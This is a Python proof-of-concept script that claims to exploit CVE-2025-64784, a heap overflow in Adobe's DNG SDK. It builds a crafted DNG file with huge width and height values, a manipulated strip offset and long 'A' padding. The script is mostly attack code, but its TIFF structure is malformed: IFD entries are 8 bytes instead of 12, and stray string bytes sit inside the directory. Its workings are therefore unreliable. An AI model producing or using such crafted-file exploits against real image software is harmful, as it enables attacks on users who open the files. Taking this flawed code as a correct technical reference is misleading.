#!/usr/bin/env python3
"""
CVE-2025-64784 PoC - Adobe DNG SDK Heap Buffer Overflow
This PoC generates a malicious DNG file to trigger heap buffer overflow.
Note: This is for educational and security research purposes only.
"""
import struct
import os
def create_malicious_dng():
"""Generate a malicious DNG file to trigger buffer overflow in DNG SDK"""
# DNG file header (TIFF format)
dng_header = bytearray()
# Byte order mark (little-endian)
dng_header.extend(b'II')
# TIFF magic number (42)
dng_header.extend(struct.pack('<H', 42))
# First IFD offset
ifd_offset = 8
dng_header.extend(struct.pack('<I', ifd_offset))
# IFD header
num_entries = 8
dng_header.extend(struct.pack('<H', num_entries))
# Craft malicious TIFF tags to trigger overflow
# NewSubfileType
dng_header.extend(struct.pack('<HHI', 254, 4, 0))
# ImageWidth - malicious large value
dng_header.extend(struct.pack('<HHI', 256, 4, 0x7FFFFFFF))
# ImageLength - malicious large value
dng_header.extend(struct.pack('<HHI', 257, 4, 0x7FFFFFFF))
# BitsPerSample
dng_header.extend(struct.pack('<HHI', 258, 3, len(dng_header) + 24))
# Compression - uncompressed
dng_header.extend(struct.pack('<HHI', 259, 3, 1))
# Make - Adobe
dng_header.extend(b'Adobe\x00\x00\x00')
make_offset = len(dng_header) - 8
dng_header.extend(struct.pack('<HHI', 271, 2, make_offset))
# StripOffsets - malicious offset values
strip_offset = len(dng_header) + 24
dng_header.extend(struct.pack('<HHI', 273, 4, strip_offset))
# SamplesPerPixel
dng_header.extend(struct.pack('<HHI', 277, 3, 1))
# Add padding data to trigger overflow
padding_size = 0x10000 # Large padding to trigger overflow
padding = b'\x41' * padding_size
dng_header.extend(padding)
# Write malicious DNG file
output_file = 'CVE-2025-64784_malicious.dng'
with open(output_file, 'wb') as f:
f.write(dng_header)
print(f'[+] Malicious DNG file created: {output_file}')
print(f'[+] File size: {len(dng_header)} bytes')
print('[!] This file is designed to trigger CVE-2025-64784')
print('[!] Do not open this file in production environments')
return output_file
if __name__ == '__main__':
create_malicious_dng()